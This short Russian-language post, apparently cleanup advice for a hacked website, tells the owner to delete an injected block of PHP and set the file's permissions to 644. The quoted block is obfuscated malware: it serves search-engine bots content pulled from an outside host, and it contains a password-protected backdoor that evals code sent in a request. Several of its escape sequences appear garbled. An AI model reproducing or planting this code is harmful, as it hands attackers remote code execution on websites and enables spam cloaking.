удаляйте из файла вот эту ерунду
<?php $x12="cx75162l_ix6ei164"; $x13="143u162lx5f163145to160t"; $x14="x63165162154_x65xe143"; $x15="cx75x72l_c154ox73e"; $x16="x65vx61x6c"; $x17="146151154e_147145164137c157156t145156x74163"; $x18="x66un143164i157nx5fx65170151s164x73"; $x19="151n151137x67x65164"; $x1a="preg_mx61164ch"; $x1b="sx74x72151px73la163x68145163"; $x1c="x75r154e156143157x64e";
error_reporting(0);$x0b = "x68x74164x70x3a//a143143x65x73163055x731x2eo162147x2fg145t056php"; $x0c = "1062x33063x32061qx71";if ($x1a("057050171141nx64x65x78|147157x6fx67154145051/x69", $_SERVER['HTTP_USER_AGENT'])) {$x0d = $x1c("150x74164p://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);$x0e = $x1c($_SERVER['HTTP_USER_AGENT']);$x0f = $x0b."x3fx69x64x3d".$x0d."&c150a162x73etx3dx75&bx6f164x3d".$x0e; if($x19("x61x6clo167137165162x6c_f157x70x65156") == 1) {echo $x17($x0f); } elseif($x18('curl_init')) {$x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;} } $x0f = $x0b."077x63x6f144145x3dx63x6f144x65046x62o164x3d".$x0e;if($x19("x61x6cl157x77_x75x72x6c137f157x70x65x6e") == 1) { echo $x17($x0f);}elseif($x18('curl_init')) { $x10 = $x12($x0f);$x13($x10, CURLOPT_HEADER, FALSE);$x13($x10, CURLOPT_RETURNTRANSFER, TRUE);$x11 = $x14($x10);$x15($x10); echo $x11;}if($_REQUEST["143"] == $x0c) $x16($x1b($_REQUEST["143x6fd145"])); ?>
и поставьте на него права 644